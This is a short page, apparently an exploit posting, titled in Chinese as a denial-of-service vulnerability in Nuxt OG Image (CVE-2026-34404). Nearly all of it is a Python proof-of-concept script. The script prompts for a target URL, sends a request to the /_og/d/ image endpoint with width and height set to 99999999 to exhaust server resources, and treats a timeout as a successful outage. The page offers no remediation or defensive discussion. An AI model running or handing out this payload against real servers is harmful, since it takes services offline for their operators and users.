CVE-2026-34404 Nuxt OG Image 拒绝服务漏洞

import requests def check_poc(url): """ PoC for CVE-2026-34404: Nuxt OG Image DoS Sends a request with excessive width/height to trigger resource exhaustion. """ target_url = f"{url.rstrip('/')}/_og/d/" # Payload with extreme dimensions to trigger DoS params = { "width": 99999999, "height": 99999999 } try: print(f"Sending request to: {target_url}") response = requests.get(target_url, params=params, timeout=10) print(f"Status Code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("[!] Potential Vulnerability Detected: Server processed the request or errored out.") else: print("[-] Server may not be vulnerable or endpoint has changed.") except requests.exceptions.Timeout: print("[!] Request timed out: Possible successful Denial of Service triggered.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = input("Enter target URL (e.g., http://localhost:3000): ") check_poc(target)